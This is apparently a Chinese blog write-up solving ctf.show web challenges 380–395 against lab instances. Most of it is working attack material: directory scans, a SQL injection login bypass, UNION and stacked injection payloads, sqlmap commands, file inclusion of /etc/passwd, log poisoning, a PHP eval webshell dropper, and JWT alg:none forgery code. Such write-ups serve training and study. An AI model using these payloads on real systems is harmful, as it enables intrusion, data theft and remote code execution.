WEB入门——黑盒测试

web380

dirsearch -u http://27643b44-50e3-4e3a-83f1-96d9d0cccfe2.challenge.ctf.show 

返回:

[07:13:55] 200 -    0B  - /flag.php                                         
[07:13:59] 200 -  119B  - /page.php 

访问:

/page.php

返回:

<br />
<b>Notice</b>:  Undefined index: id in <b>/var/www/html/page.php</b> on line <b>16</b><br />
打开$id.php失败

直接读flag.php

/page.php?id=flag

web381

dirsearch -u http://3e0caf00-a48a-4b51-95bb-2416a1b46dc3.challenge.ctf.show

返回:

[07:17:09] 200 -   24B  - /page.php

打开返回:

打开page_$id.php失败

尝试访问源码的一些路径
WEB入门——黑盒测试.png
访问:

/alsckdfy/

web382

查看网页源代码,跟上一题一样,访问路径

/alsckdfy

WEB入门——黑盒测试-1.png
尝试用万能密码:
账号:

1' or 1=1 #

密码随便填写

web383

跟上题步骤一样,也是先访问路径/alsckdfy,打开登录框后输入万能密码得到flag

web384

告诉我们密码前2位是小写字母,后三位是数字,很明显是要爆破
生成字典:

# 打开一个文件,准备写入密码(文件名叫 passwords.txt)
with open("passwords.txt", "w") as file:
    # 第一层循环:第一个字母从 'a' 到 'z'
    for first_letter in "abcdefghijklmnopqrstuvwxyz":
        # 第二层循环:第二个字母也从 'a' 到 'z'
        for second_letter in "abcdefghijklmnopqrstuvwxyz":
            # 把两个字母拼起来,比如 'a' + 'b' = 'ab'
            letters = first_letter + second_letter
            # 第三层循环:数字从 0 到 999
            for number in range(0, 1000):
                # 把数字变成3位数格式,不足前面补0(比如 7 → '007')
                digits = f"{number:03d}"
                # 拼成完整密码,比如 'ab' + '007' = 'ab007'
                password = letters + digits
                # 把密码写入文件,每行一个
                file.write(password + "\n")
print("✅ 字典生成完成!共 676,000 个密码,已保存到 passwords.txt")

web385

dirsearch -u http://b139af2e-0c34-4446-9a06-dbfe9451fdbf.challenge.ctf.show/

返回:

[07:31:40] 301 -  169B  - /install  ->  http://b139af2e-0c34-4446-9a06-dbfe9451fdbf.challenge.ctf.show/install/
[07:31:40] 200 -  129B  - /install/                                         
[07:31:40] 200 -  129B  - /install/index.php?upgrade/                       
[07:31:43] 200 -   24B  - /page.php 

访问install

请务必在安装成功后删除本文件  
需要重新安装请访问install/?install,管理员密码将重置为默认密码

弱口令登录

admin888

web386

dirsearch -u http://673c594f-a7fc-4c68-8969-65c1e35ef49d.challenge.ctf.show

访问/install,但是这次显示lock.dat存在

<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">

尝试将路径去掉alsckdfy/访问,发现多了一句话

/*如果页面卡顿,可以访问clear.php清理缓存*/

比上一题多了一个/clear.php,访问显示清理完成
我们尝试能不能控制它清理我们指定的文件,猜测参数可能为file,访问

/clear.php?file=install/lock.dat

接着再次访问/install,发现lock.dat成功被删除

admin888

web387

dirsearch -u http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/

返回:

[07:45:43] 301 -  169B  - /debug  ->  http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/debug/
[07:45:43] 200 -   14B  - /debug/                                           
[07:45:46] 301 -  169B  - /install  ->  http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/install/
[07:45:46] 200 -   59B  - /install/                                         
[07:45:46] 200 -   59B  - /install/index.php?upgrade/                       
[07:45:49] 200 -   24B  - /page.php                                         
[07:45:51] 200 -   15B  - /robots.txt  

访问/debug/返回:

file not exist

访问:成功读取到文件

/debug/?file=/etc/passwd

WEB入门——黑盒测试-2.png
进行日志包含执行命令
UA写入如下内容:

<?php unlink('/var/www/html/install/lock.dat');?>

GET:

?file=/var/log/nginx/access.log

web388

对后台登录页面进行目录扫描

dirsearch -u http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/

返回:

[07:55:47] 200 -    5B  - /alsckdfy/check.php                               
[07:55:47] 200 -    0B  - /alsckdfy/config.php                              
[07:55:48] 301 -  169B  - /alsckdfy/css  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/css/
[07:55:49] 301 -  169B  - /alsckdfy/editor  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/editor/
[07:55:49] 200 -    1KB - /alsckdfy/editor/                                 
[07:55:51] 301 -  169B  - /alsckdfy/images  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/images/
[07:55:51] 403 -  555B  - /alsckdfy/images/                                 
[07:55:52] 301 -  169B  - /alsckdfy/lang  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/lang/
[07:55:55] 301 -  169B  - /alsckdfy/plugins  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/plugins/
[07:55:55] 403 -  555B  - /alsckdfy/plugins/                                
[07:55:59] 301 -  169B  - /alsckdfy/themes  ->  http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/themes/
[07:55:59] 403 -  555B  - /alsckdfy/themes/  

访问:

/alsckdfy/editor

我们把木马写好后改后缀为zip,上传文件

<?php
$a = '<?php eval($_POST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

WEB入门——黑盒测试-3.png

/alsckdfy/attached/file/20260214/20260214125917_17402.zip

拼接到/debug/?file=/var/www/html后面,访问

/debug/?file=/var/www/html/alsckdfy/attached/file/20260214/20260214125917_17402.zip

访问:

/1.php

web389

访问路径/debug,这次显示权限不足,F12查看cookie,发现多了一个auth验证
WEB入门——黑盒测试-4.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3MTA3NDI4MywiZXhwIjoxNzcxMDgxNDgzLCJuYmYiOjE3NzEwNzQyODMsInN1YiI6InVzZXIiLCJqdGkiOiJlNWEwOWE4ZDI4YzViNzllOTg3Njk1Mzk0ZWIyMjNmNyJ9.qSEGSua6_brrdP69ZfGbDlJfHbymtLhOd2Lq4X6GdeM

WEB入门——黑盒测试-5.png
爆破得到密钥:

123456

WEB入门——黑盒测试-6.png
成功访问:
WEB入门——黑盒测试-7.png
剩下的步骤跟上个一样

web390

思路1:JWT伪造
把alg改为none,sub改为admin

import jwt  
  
# 把自己的payload复制替换dict,然后更改user为admin  
dict = {  
  "iss": "admin",  
  "iat": 1771074756,  
  "exp": 1771081956,  
  "nbf": 1771074756,  
  "sub": "admin",  
  "jti": "6a0f9563e828563566c315928951e215"  
}  
  
headers = {  
    "alg": "none",  
    "typ": "JWT"  
    }     
  
jwt_token = jwt.encode(dict, key='',headers=headers, algorithm="none")    
  
print(jwt_token)

剩下步骤跟上述一样
思路2:数字型注入

page.php?id=-1 union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)#

web391

思路1:JWT伪造
上述一样
思路2:字符型注入

search.php?title=-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -

web392

思路1:JWT伪造
思路2:字符型注入

search.php?title=-1' union select 1,2,substr((select load_file('/flag')),1,255)-- -

web393

思路1:JWT伪造
思路2:堆叠注入
首先找到一个查看内容的位置

/link.php?id=

然后再找到一个堆叠注入点

sqlmap -u "http://408d793b-1a0c-4c05-af89-cc32a957dcbd.challenge.ctf.show/search.php?title=1"

需要先获取数据库的表名和列名再利用
获取数据库名:

sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch

获取表名:

sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch

获取列名:

sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch

最后用堆叠注入:

search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');

最后访问/link.php?id=11即可

web394

思路1:JWT伪造
思路2:堆叠注入

sqlmap -u "http://2ed1e68c-6205-411d-87ae-28d09f374d82.challenge.ctf.show/search.php?title=1"

跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可

/search.php?title=1';insert into link(id, name, url) values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

访问:

/link.php?id=10

web395

思路1:JWT伪造
思路2:堆叠注入
解法也是跟上题一样

posted @ 2026-06-12 20:33  Cava1i  阅读(10)  评论(0)    收藏  举报